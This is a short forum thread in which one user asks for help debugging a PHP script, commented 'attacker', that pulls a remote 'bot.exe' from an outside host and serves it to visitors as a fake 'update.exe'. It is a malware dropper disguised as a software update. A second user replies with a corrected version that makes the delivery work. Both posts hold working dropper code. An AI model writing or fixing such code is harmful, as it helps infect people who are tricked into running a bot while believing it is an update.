fix bug in code plz

Discussion in 'PHP' started by darknetvn, 17 Apr 2009.

  1. darknetvn

    darknetvn New Member

    Joined:
    13 Jan 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    code php

    PHP:
    <?php    

    // attacker

    $bot 'http://www.bot1.cn/bot.exe';    // url of exe file    

    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');    
    header('Content-Type: application/octet-stream');    
    header('Content-Disposition: attachment; filename=update.exe');    
    header('Content-Length: ' filesize($bot));    
    readfile($bot);    
    die;    

    ?>
    when i run file php and check update.exe is file bad
    bot.exe is can't loaded with original file and md5 checksum original

    plz help me if you can ,thanks all :rolleyes:
     
  2. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    read this _ttp://ua2.php.net/function.readfile
    or try file_get_contents() function.

    PHP:
    <?php     

    // attacker 

    $bot 'http://www.bot1.cn/bot.exe';    // url of exe file     

    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');     
    header('Content-Type: application/octet-stream');     
    header('Content-Disposition: attachment; filename=update.exe');     
    header('Content-Length: ' filesize($bot));     
    echo 
    file_get_contents($bot);     
    exit;    

    ?>